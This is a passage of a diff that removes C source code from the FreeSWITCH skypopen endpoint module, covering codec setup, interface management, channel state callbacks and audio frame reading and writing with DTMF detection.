-       "CALL_OUTRESTR",
-       "CALL_SECFAIL",
-       "CALL_NOANSWER",
-       "STATUS_FNSHED",
-       "STATUS_CANCLED",
-       "STATUS_FAILED",
-       "STATUS_REFUSED",
-       "STATUS_RINGING",
-       "STATUS_INPROGRS",
-       "STATUS_UNPLACD",
-       "STATUS_ROUTING",
-       "STATUS_EARLYMD",
-       "INCOMING_CLID",
-       "STATUS_RMTEHOLD"
-};
-
-
-static struct {
-       int debug;
-       char *context;
-       char *dialplan;
-       char *destination;
-       char *skype_user;
-       char *report_incoming_chatmessages;
-       char *silent_mode;
-       char *write_silence_when_idle;
-       int calls;
-       int real_interfaces;
-       int next_interface;
-       private_t SKYPOPEN_INTERFACES[SKYPOPEN_MAX_INTERFACES];
-       switch_mutex_t *mutex;
-       private_t *sk_console;
-       int start_port;
-} globals;
-
-switch_endpoint_interface_t *skypopen_endpoint_interface;
-switch_memory_pool_t *skypopen_module_pool = NULL;
-int running = 0;
-
-SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_context, globals.context);
-SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_dialplan, globals.dialplan);
-SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_destination, globals.destination);
-SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_skype_user, globals.skype_user);
-SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_report_incoming_chatmessages, globals.report_incoming_chatmessages);
-SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_silent_mode, globals.silent_mode);
-SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_write_silence_when_idle, globals.write_silence_when_idle);
-
-static switch_status_t interface_exists(char *the_interface);
-static switch_status_t remove_interface(char *the_interface);
-
-static switch_status_t channel_on_init(switch_core_session_t *session);
-static switch_status_t channel_on_hangup(switch_core_session_t *session);
-static switch_status_t channel_on_destroy(switch_core_session_t *session);
-static switch_status_t channel_on_routing(switch_core_session_t *session);
-static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
-static switch_status_t channel_on_consume_media(switch_core_session_t *session);
-static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
-static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session,
-                                                                                                       switch_event_t *var_event,
-                                                                                                       switch_caller_profile_t *outbound_profile,
-                                                                                                       switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
-                                                                                                       switch_call_cause_t *cancel_cause);
-static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
-static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
-static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
-static switch_status_t skypopen_tech_init(private_t * tech_pvt, switch_core_session_t *session);
-
-static switch_status_t skypopen_codec(private_t * tech_pvt, int sample_rate, int codec_ms)
-{
-       switch_core_session_t *session = NULL;
-
-       if (switch_core_codec_init
-               (&tech_pvt->read_codec, "L16", NULL, sample_rate, codec_ms, 1,
-                SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
-               ERRORA("Can't load codec?\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       if (switch_core_codec_init
-               (&tech_pvt->write_codec, "L16", NULL, sample_rate, codec_ms, 1,
-                SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
-               ERRORA("Can't load codec?\n", SKYPOPEN_P_LOG);
-               switch_core_codec_destroy(&tech_pvt->read_codec);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       tech_pvt->read_frame.rate = sample_rate;
-       tech_pvt->read_frame.codec = &tech_pvt->read_codec;
-
-       session = switch_core_session_locate(tech_pvt->session_uuid_str);
-
-       if (session) {
-               switch_core_session_set_read_codec(session, &tech_pvt->read_codec);
-               switch_core_session_set_write_codec(session, &tech_pvt->write_codec);
-               switch_core_session_rwunlock(session);
-       } else {
-               ERRORA("no session\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       return SWITCH_STATUS_SUCCESS;
-
-}
-
-switch_status_t skypopen_tech_init(private_t * tech_pvt, switch_core_session_t *session)
-{
-
-       switch_assert(tech_pvt != NULL);
-       switch_assert(session != NULL);
-       tech_pvt->read_frame.data = tech_pvt->databuf;
-       tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
-       switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
-       switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
-       switch_core_session_set_private(session, tech_pvt);
-       switch_copy_string(tech_pvt->session_uuid_str, switch_core_session_get_uuid(session), sizeof(tech_pvt->session_uuid_str));
-       if (!strlen(tech_pvt->session_uuid_str)) {
-               ERRORA("no tech_pvt->session_uuid_str\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-       if (skypopen_codec(tech_pvt, SAMPLERATE_SKYPOPEN, 20) != SWITCH_STATUS_SUCCESS) {
-               ERRORA("skypopen_codec FAILED\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       dtmf_rx_init(&tech_pvt->dtmf_state, NULL, NULL);
-       dtmf_rx_parms(&tech_pvt->dtmf_state, 0, 10, 10, -99);
-
-
-       DEBUGA_SKYPE("skypopen_tech_init SUCCESS\n", SKYPOPEN_P_LOG);
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t interface_exists(char *the_interface)
-{
-       int i;
-       int interface_id;
-
-       if (*the_interface == '#') {    /* look by interface id or interface name */
-               the_interface++;
-               switch_assert(the_interface);
-               interface_id = atoi(the_interface);
-
-               /* take a number as interface id */
-               if (interface_id > 0 || (interface_id == 0 && strcmp(the_interface, "0") == 0)) {
-                       if (strlen(globals.SKYPOPEN_INTERFACES[interface_id].name)) {
-                               return SWITCH_STATUS_SUCCESS;
-                       }
-               } else {
-                       /* interface name */
-                       for (interface_id = 0; interface_id < SKYPOPEN_MAX_INTERFACES; interface_id++) {
-                               if (strcmp(globals.SKYPOPEN_INTERFACES[interface_id].name, the_interface) == 0) {
-                                       return SWITCH_STATUS_SUCCESS;
-                                       break;
-                               }
-                       }
-               }
-       } else {                                        /* look by skype_user */
-
-
-               for (i = 0; i < SKYPOPEN_MAX_INTERFACES; i++) {
-                       if (strlen(globals.SKYPOPEN_INTERFACES[i].skype_user)) {
-                               if (strcmp(globals.SKYPOPEN_INTERFACES[i].skype_user, the_interface) == 0) {
-                                       return SWITCH_STATUS_SUCCESS;
-                               }
-                       }
-               }
-       }
-       return SWITCH_STATUS_FALSE;
-}
-
-static switch_status_t remove_interface(char *the_interface)
-{
-       int x = 10;
-       unsigned int howmany = 8;
-       int interface_id = -1;
-       private_t *tech_pvt = NULL;
-       switch_status_t status;
-
-
-       if (*the_interface == '#') {    /* remove by interface id or interface name */
-               the_interface++;
-               switch_assert(the_interface);
-               interface_id = atoi(the_interface);
-
-               if (interface_id > 0 || (interface_id == 0 && strcmp(the_interface, "0") == 0)) {
-                       /* take a number as interface id */
-                       tech_pvt = &globals.SKYPOPEN_INTERFACES[interface_id];
-               } else {
-
-                       for (interface_id = 0; interface_id < SKYPOPEN_MAX_INTERFACES; interface_id++) {
-                               if (strcmp(globals.SKYPOPEN_INTERFACES[interface_id].name, the_interface) == 0) {
-                                       tech_pvt = &globals.SKYPOPEN_INTERFACES[interface_id];
-                                       break;
-                               }
-                       }
-               }
-       } else {                                        /* remove by skype_user */
-               for (interface_id = 0; interface_id < SKYPOPEN_MAX_INTERFACES; interface_id++) {
-                       if (strcmp(globals.SKYPOPEN_INTERFACES[interface_id].skype_user, the_interface) == 0) {
-                               tech_pvt = &globals.SKYPOPEN_INTERFACES[interface_id];
-                               break;
-                       }
-               }
-       }
-
-       if (!tech_pvt) {
-               DEBUGA_SKYPE("interface '%s' does not exist\n", SKYPOPEN_P_LOG, the_interface);
-               goto end;
-       }
-
-       if (strlen(globals.SKYPOPEN_INTERFACES[interface_id].session_uuid_str)) {
-               DEBUGA_SKYPE("interface '%s' is busy\n", SKYPOPEN_P_LOG, the_interface);
-               goto end;
-       }
-
-       globals.SKYPOPEN_INTERFACES[interface_id].running = 0;
-
-       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_signaling_thread) {
-#ifdef WIN32
-               skypopen_signaling_write(tech_pvt, "DIE");
-               switch_sleep(10000);
-               switch_file_write(tech_pvt->SkypopenHandles.fdesc[1], "sciutati", &howmany);    // let's the controldev_thread die
-#else /* WIN32 */
-               howmany = write(tech_pvt->SkypopenHandles.fdesc[1], "sciutati", howmany);
-#endif /* WIN32 */
-       }
-
-       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread) {
-#ifdef WIN32
-               if (SendMessage(tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle, WM_DESTROY, 0, 0) == FALSE) {   // let's the skypopen_api_thread_func die
-                       DEBUGA_SKYPE("got FALSE here, thread probably was already dead. GetLastError returned: %d\n", SKYPOPEN_P_LOG, GetLastError());
-                       globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread = NULL;
-               }
-#else
-               if (tech_pvt->running && tech_pvt->SkypopenHandles.disp) {
-                       XEvent e;
-                       Atom atom1 = XInternAtom(tech_pvt->SkypopenHandles.disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
-                       memset(&e, 0, sizeof(e));
-                       e.xclient.type = ClientMessage;
-                       e.xclient.message_type = atom1; /*  leading message */
-                       e.xclient.display = tech_pvt->SkypopenHandles.disp;
-                       e.xclient.window = tech_pvt->SkypopenHandles.skype_win;
-                       e.xclient.format = 8;
-
-                       XSendEvent(tech_pvt->SkypopenHandles.disp, tech_pvt->SkypopenHandles.win, False, 0, &e);
-                       XSync(tech_pvt->SkypopenHandles.disp, False);
-               }
-#endif
-       }
-
-       while (x) {
-               x--;
-               switch_yield(50000);
-       }
-
-       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_signaling_thread) {
-               switch_thread_join(&status, globals.SKYPOPEN_INTERFACES[interface_id].skypopen_signaling_thread);
-       }
-
-       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread) {
-               switch_thread_join(&status, globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread);
-       }
-
-       switch_mutex_lock(globals.mutex);
-       if (globals.sk_console == &globals.SKYPOPEN_INTERFACES[interface_id]) {
-               DEBUGA_SKYPE("interface '%s' no more console\n", SKYPOPEN_P_LOG, the_interface);
-               globals.sk_console = NULL;
-       } else {
-               DEBUGA_SKYPE("interface '%s' STILL console\n", SKYPOPEN_P_LOG, the_interface);
-       }
-       memset(&globals.SKYPOPEN_INTERFACES[interface_id], '\0', sizeof(private_t));
-       globals.real_interfaces--;
-       switch_mutex_unlock(globals.mutex);
-
-       DEBUGA_SKYPE("interface '%s' deleted successfully\n", SKYPOPEN_P_LOG, the_interface);
-       globals.SKYPOPEN_INTERFACES[interface_id].running = 1;
-  end:
-       return SWITCH_STATUS_SUCCESS;
-}
-
-
-/* 
-   State methods they get called when the state changes to the specific state 
-   returning SWITCH_STATUS_SUCCESS tells the core to execute the standard state method next
-   so if you fully implement the state you can return SWITCH_STATUS_FALSE to skip it.
-*/
-static switch_status_t channel_on_init(switch_core_session_t *session)
-{
-       switch_channel_t *channel;
-       private_t *tech_pvt = NULL;
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-       switch_channel_set_variable(channel, "skype_user", tech_pvt->skype_user);
-       switch_set_flag(tech_pvt, TFLAG_IO);
-
-       /* Move channel's state machine to ROUTING. This means the call is trying
-          to get from the initial start where the call because, to the point
-          where a destination has been identified. If the channel is simply
-          left in the initial state, nothing will happen. */
-       switch_channel_set_state(channel, CS_ROUTING);
-       switch_mutex_lock(globals.mutex);
-       globals.calls++;
-
-       switch_mutex_unlock(globals.mutex);
-       DEBUGA_SKYPE("%s CHANNEL INIT %s\n", SKYPOPEN_P_LOG, tech_pvt->name, switch_core_session_get_uuid(session));
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_on_destroy(switch_core_session_t *session)
-{
-       private_t *tech_pvt = NULL;
-
-       tech_pvt = switch_core_session_get_private(session);
-
-
-       if (tech_pvt) {
-               DEBUGA_SKYPE("%s CHANNEL DESTROY %s\n", SKYPOPEN_P_LOG, tech_pvt->name, switch_core_session_get_uuid(session));
-
-               if (switch_core_codec_ready(&tech_pvt->read_codec)) {
-                       switch_core_codec_destroy(&tech_pvt->read_codec);
-               }
-
-               if (switch_core_codec_ready(&tech_pvt->write_codec)) {
-                       switch_core_codec_destroy(&tech_pvt->write_codec);
-               }
-
-               if (tech_pvt->timer_read.timer_interface && tech_pvt->timer_read.timer_interface->timer_next){
-                       switch_core_timer_destroy(&tech_pvt->timer_read);
-               }
-
-               if (tech_pvt->timer_write.timer_interface && tech_pvt->timer_write.timer_interface->timer_next){
-                       switch_core_timer_destroy(&tech_pvt->timer_write);
-               }
-
-               if(tech_pvt->read_buffer){
-                       switch_buffer_destroy(&tech_pvt->read_buffer);
-               }
-               if(tech_pvt->write_buffer){
-                       switch_buffer_destroy(&tech_pvt->write_buffer);
-               }
-
-               *tech_pvt->session_uuid_str = '\0';
-               tech_pvt->interface_state = SKYPOPEN_STATE_IDLE;
-               if (tech_pvt->skype_callflow == CALLFLOW_STATUS_FINISHED) {
-                       tech_pvt->skype_callflow = CALLFLOW_CALL_IDLE;
-               }
-               switch_core_session_set_private(session, NULL);
-       } else {
-               DEBUGA_SKYPE("!!!!!!NO tech_pvt!!!! CHANNEL DESTROY %s\n", SKYPOPEN_P_LOG, switch_core_session_get_uuid(session));
-       }
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_on_hangup(switch_core_session_t *session)
-{
-       switch_channel_t *channel = NULL;
-       private_t *tech_pvt = NULL;
-       char msg_to_skype[256];
-       switch_status_t status;
-
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
-               if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
-                       tech_pvt->ob_failed_calls++;
-               } else {
-                       tech_pvt->ib_failed_calls++;
-               }
-       }
-
-       switch_clear_flag(tech_pvt, TFLAG_IO);
-       switch_clear_flag(tech_pvt, TFLAG_VOICE);
-
-       tech_pvt->interface_state = SKYPOPEN_STATE_HANGUP_REQUESTED;
-
-       if (strlen(tech_pvt->skype_call_id)) {
-               DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPOPEN_P_LOG, tech_pvt->skype_call_id);
-               sprintf(msg_to_skype, "ALTER CALL %s HANGUP", tech_pvt->skype_call_id);
-               skypopen_signaling_write(tech_pvt, msg_to_skype);
-       }
-
-       if (tech_pvt->tcp_cli_thread) {
-               switch_thread_join(&status, tech_pvt->tcp_cli_thread);
-       }
-       if (tech_pvt->tcp_srv_thread) {
-               switch_thread_join(&status, tech_pvt->tcp_srv_thread);
-       }
-       DEBUGA_SKYPE("%s CHANNEL HANGUP\n", SKYPOPEN_P_LOG, tech_pvt->name);
-       switch_mutex_lock(globals.mutex);
-       globals.calls--;
-       if (globals.calls < 0) {
-               globals.calls = 0;
-       }
-
-       tech_pvt->interface_state = SKYPOPEN_STATE_IDLE;
-       if (tech_pvt->skype_callflow == CALLFLOW_STATUS_FINISHED) {
-               tech_pvt->skype_callflow = CALLFLOW_CALL_IDLE;
-       }
-       switch_mutex_unlock(globals.mutex);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_on_routing(switch_core_session_t *session)
-{
-       switch_channel_t *channel = NULL;
-       private_t *tech_pvt = NULL;
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       DEBUGA_SKYPE("%s CHANNEL ROUTING\n", SKYPOPEN_P_LOG, tech_pvt->name);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_on_execute(switch_core_session_t *session)
-{
-
-       switch_channel_t *channel = NULL;
-       private_t *tech_pvt = NULL;
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       DEBUGA_SKYPE("%s CHANNEL EXECUTE\n", SKYPOPEN_P_LOG, tech_pvt->name);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig)
-{
-       switch_channel_t *channel = NULL;
-       private_t *tech_pvt = NULL;
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       DEBUGA_SKYPE("%s CHANNEL KILL_CHANNEL\n", SKYPOPEN_P_LOG, tech_pvt->name);
-       switch (sig) {
-       case SWITCH_SIG_KILL:
-               switch_mutex_lock(tech_pvt->flag_mutex);
-               DEBUGA_SKYPE("%s CHANNEL got SWITCH_SIG_KILL\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel));
-               if (tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD) {
-                       DEBUGA_SKYPE("FYI %s CHANNEL in CALLFLOW_STATUS_REMOTEHOLD got SWITCH_SIG_KILL\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel));
-               }
-               if (switch_channel_get_state(channel) == CS_NEW) {
-                       ERRORA("FYI %s CHANNEL in CS_NEW state got SWITCH_SIG_KILL\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel));
-               }
-               if (switch_channel_get_state(channel) != CS_NEW && switch_channel_get_state(channel) < CS_EXECUTE) {
-                       ERRORA("FYI %s CHANNEL in %d state got SWITCH_SIG_KILL\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel), switch_channel_get_state(channel));
-               }
-               switch_clear_flag(tech_pvt, TFLAG_IO);
-               switch_clear_flag(tech_pvt, TFLAG_VOICE);
-               switch_set_flag(tech_pvt, TFLAG_HANGUP);
-               switch_mutex_unlock(tech_pvt->flag_mutex);
-               break;
-       case SWITCH_SIG_BREAK:
-               DEBUGA_SKYPE("%s CHANNEL got SWITCH_SIG_BREAK\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel));
-               switch_mutex_lock(tech_pvt->flag_mutex);
-               switch_set_flag(tech_pvt, TFLAG_BREAK);
-               switch_mutex_unlock(tech_pvt->flag_mutex);
-               break;
-       default:
-               break;
-       }
-
-       return SWITCH_STATUS_SUCCESS;
-}
-static switch_status_t channel_on_consume_media(switch_core_session_t *session)
-{
-       private_t *tech_pvt = NULL;
-
-       tech_pvt = switch_core_session_get_private(session);
-
-       DEBUGA_SKYPE("%s CHANNEL CONSUME_MEDIA\n", SKYPOPEN_P_LOG, tech_pvt->name);
-       return SWITCH_STATUS_SUCCESS;
-}
-
-
-static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
-{
-       private_t *tech_pvt = NULL;
-       tech_pvt = switch_core_session_get_private(session);
-       DEBUGA_SKYPE("%s CHANNEL EXCHANGE_MEDIA\n", SKYPOPEN_P_LOG, tech_pvt->name);
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_on_soft_execute(switch_core_session_t *session)
-{
-       private_t *tech_pvt = NULL;
-       tech_pvt = switch_core_session_get_private(session);
-       DEBUGA_SKYPE("%s CHANNEL SOFT_EXECUTE\n", SKYPOPEN_P_LOG, tech_pvt->name);
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_send_dtmf(switch_core_session_t *session, const switch_dtmf_t *dtmf)
-{
-       private_t *tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       DEBUGA_SKYPE("%s CHANNEL SEND_DTMF\n", SKYPOPEN_P_LOG, tech_pvt->name);
-       DEBUGA_SKYPE("DTMF: %c\n", SKYPOPEN_P_LOG, dtmf->digit);
-
-       skypopen_senddigit(tech_pvt, dtmf->digit);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id)
-{
-       switch_channel_t *channel = NULL;
-       private_t *tech_pvt = NULL;
-       switch_byte_t *data;
-       char digit_str[256];
-       short *frame_16_khz;
-       short frame_8_khz[160];
-       unsigned int i;
-       unsigned int a;
-       size_t bytes_read = 0;
-       int try=0;
-
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       if (!switch_channel_ready(channel) || !switch_test_flag(tech_pvt, TFLAG_IO)) {
-               ERRORA("channel not ready \n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       if (!tech_pvt->read_buffer) {
-               int32_t max_len = 640 * 10;
-
-               switch_buffer_create(skypopen_module_pool, &tech_pvt->read_buffer, max_len);
-               switch_assert(tech_pvt->read_buffer);
-               switch_buffer_zero(tech_pvt->read_buffer);
-               tech_pvt->begin_to_read = 1;
-       }
-
-
-       tech_pvt->read_frame.flags = SFF_NONE;
-       *frame = NULL;
-
-       if (tech_pvt->timer_read.timer_interface && tech_pvt->timer_read.timer_interface->timer_next){
-               switch_core_timer_next(&tech_pvt->timer_read);
-       }
-
-read:
-
-
-       if (tech_pvt && tech_pvt->interface_state != SKYPOPEN_STATE_DOWN
-                       && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
-                               || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
-                               || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPOPEN_STATE_UP)) {
-               switch_mutex_lock(tech_pvt->mutex_audio_srv);
-               if (switch_buffer_inuse(tech_pvt->read_buffer)) {
-                       bytes_read = switch_buffer_read(tech_pvt->read_buffer, tech_pvt->read_frame.data, 640);
-                       tech_pvt->read_frame.datalen = bytes_read;
-               }
-               switch_mutex_unlock(tech_pvt->mutex_audio_srv);
-
-               try=0;
-               if (!bytes_read) {
-                       switch_sleep(1000);
-                       try++;
-                       if(try < 5)
-                               goto read;
-                       DEBUGA_SKYPE("skypopen_audio_read Silence\n", SKYPOPEN_P_LOG);
-                       memset(tech_pvt->read_frame.data, 255, SAMPLES_PER_FRAME * sizeof(short));
-                       tech_pvt->read_frame.datalen = 640;
-
-               }
-       } else {
-               memset(tech_pvt->read_frame.data, 255, SAMPLES_PER_FRAME * sizeof(short));
-               tech_pvt->read_frame.datalen = 640;
-       }
-
-       switch_set_flag(tech_pvt, TFLAG_VOICE);
-       while (switch_test_flag(tech_pvt, TFLAG_IO)) {
-               if (switch_test_flag(tech_pvt, TFLAG_BREAK)) {
-                       switch_clear_flag(tech_pvt, TFLAG_BREAK);
-                       DEBUGA_SKYPE("CHANNEL READ FRAME goto CNG\n", SKYPOPEN_P_LOG);
-                       goto cng;
-               }
-
-               if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
-                       DEBUGA_SKYPE("CHANNEL READ FRAME not IO\n", SKYPOPEN_P_LOG);
-                       return SWITCH_STATUS_FALSE;
-               }
-
-               if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_VOICE)) {
-                       switch_clear_flag(tech_pvt, TFLAG_VOICE);
-                       if (!tech_pvt->read_frame.datalen) {
-                               DEBUGA_SKYPE("CHANNEL READ CONTINUE\n", SKYPOPEN_P_LOG);
-                               continue;
-                       }
-                       *frame = &tech_pvt->read_frame;
-
-
-                       if (switch_true(switch_channel_get_variable(channel, "skype_get_inband_dtmf"))) {
-
-                               frame_16_khz = tech_pvt->read_frame.data;
-
-                               a = 0;
-                               for (i = 0; i < tech_pvt->read_frame.datalen / sizeof(short); i++) {
-                                       frame_8_khz[a] = frame_16_khz[i];
-                                       i++;
-                                       a++;
-                               }
-
-                               memset(digit_str, 0, sizeof(digit_str));
-                               dtmf_rx(&tech_pvt->dtmf_state, (int16_t *) frame_8_khz, 160);
-                               dtmf_rx_get(&tech_pvt->dtmf_state, digit_str, sizeof(digit_str));
-
-
-                               if (digit_str[0]) {
-                                       switch_time_t new_dtmf_timestamp = switch_time_now();
-                                       if ((new_dtmf_timestamp - tech_pvt->old_dtmf_timestamp) > 350000) {     //FIXME: make it configurable
-                                               char *p = digit_str;
-                                               switch_channel_t *channel = switch_core_session_get_channel(session);
-
-                                               while (p && *p) {
-                                                       switch_dtmf_t dtmf;
-                                                       dtmf.digit = *p;
-                                                       dtmf.duration = SWITCH_DEFAULT_DTMF_DURATION;
-                                                       switch_channel_queue_dtmf(channel, &dtmf);
-                                                       p++;
-                                               }
-                                               NOTICA("DTMF DETECTED: [%s] new_dtmf_timestamp: %u, delta_t: %u\n", SKYPOPEN_P_LOG, digit_str, (unsigned int) new_dtmf_timestamp,
-                                                          (unsigned int) (new_dtmf_timestamp - tech_pvt->old_dtmf_timestamp));
-                                               tech_pvt->old_dtmf_timestamp = new_dtmf_timestamp;
-                                       }
-                               }
-                       }
-#if SWITCH_BYTE_ORDER == __BIG_ENDIAN
-                       if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
-                               switch_swap_linear((*frame)->data, (int) (*frame)->datalen / 2);
-                       }
-#endif
-                       return SWITCH_STATUS_SUCCESS;
-               }
-               DEBUGA_SKYPE("CHANNEL READ no TFLAG_IO\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       DEBUGA_SKYPE("CHANNEL READ FALSE\n", SKYPOPEN_P_LOG);
-       return SWITCH_STATUS_FALSE;
-
-  cng:
-       data = (switch_byte_t *) tech_pvt->read_frame.data;
-       data[0] = 65;
-       data[1] = 0;
-       tech_pvt->read_frame.datalen = 2;
-       tech_pvt->read_frame.flags = SFF_CNG;
-       *frame = &tech_pvt->read_frame;
-       return SWITCH_STATUS_SUCCESS;
-
-}
-
-static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
-{
-       switch_channel_t *channel = NULL;
-       private_t *tech_pvt = NULL;
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       if (!switch_channel_ready(channel) || !switch_test_flag(tech_pvt, TFLAG_IO)) {
-               ERRORA("channel not ready \n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-#if SWITCH_BYTE_ORDER == __BIG_ENDIAN
-       if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
-               switch_swap_linear(frame->data, (int) frame->datalen / 2);
-       }
-#endif
-       if (!tech_pvt->write_buffer) {
-               int32_t max_len = 640 * 3;
-
-               switch_buffer_create(skypopen_module_pool, &tech_pvt->write_buffer, max_len);
-               switch_assert(tech_pvt->write_buffer);
-       }
-
-       switch_mutex_lock(tech_pvt->mutex_audio_cli);
-       if (switch_buffer_freespace(tech_pvt->write_buffer) < frame->datalen) {
-               DEBUGA_SKYPE("NO SPACE WRITE: %d\n", SKYPOPEN_P_LOG, frame->datalen);
-               //switch_buffer_toss(tech_pvt->write_buffer, frame->datalen);
-               switch_buffer_zero(tech_pvt->write_buffer);
-       }
-       switch_buffer_write(tech_pvt->write_buffer, frame->data, frame->datalen);
-       switch_mutex_unlock(tech_pvt->mutex_audio_cli);
-
-       tech_pvt->begin_to_write = 1;
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_answer_channel(switch_core_session_t *session)
-{
-       private_t *tech_pvt;
-       switch_channel_t *channel = NULL;
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       DEBUGA_SKYPE("ANSWERED! \n", SKYPOPEN_P_LOG);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_receive_message(switch_core_session_t *session, switch_core_session_message_t *msg)
-{
-       switch_channel_t *channel;
-       private_t *tech_pvt;
-       //int i;
-
-       channel = switch_core_session_get_channel(session);
-       switch_assert(channel != NULL);
-
-       tech_pvt = (private_t *) switch_core_session_get_private(session);
-       switch_assert(tech_pvt != NULL);
-
-       switch (msg->message_id) {
-       case SWITCH_MESSAGE_INDICATE_ANSWER:
-               {
-               DEBUGA_SKYPE("%s CHANNEL got SWITCH_MESSAGE_INDICATE_ANSWER\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel));
-
-                       channel_answer_channel(session);
-
-                       if(tech_pvt->read_buffer){
-                               switch_mutex_lock(tech_pvt->mutex_audio_srv);
-                               switch_buffer_zero(tech_pvt->read_buffer);
-                               if (tech_pvt->timer_read.timer_interface && tech_pvt->timer_read.timer_interface->timer_next){
-                                       switch_core_timer_sync(&tech_pvt->timer_read);
-                               }
-                               switch_mutex_unlock(tech_pvt->mutex_audio_srv);
-                       }
-
-                       if(tech_pvt->write_buffer){
-                               switch_mutex_lock(tech_pvt->mutex_audio_cli);
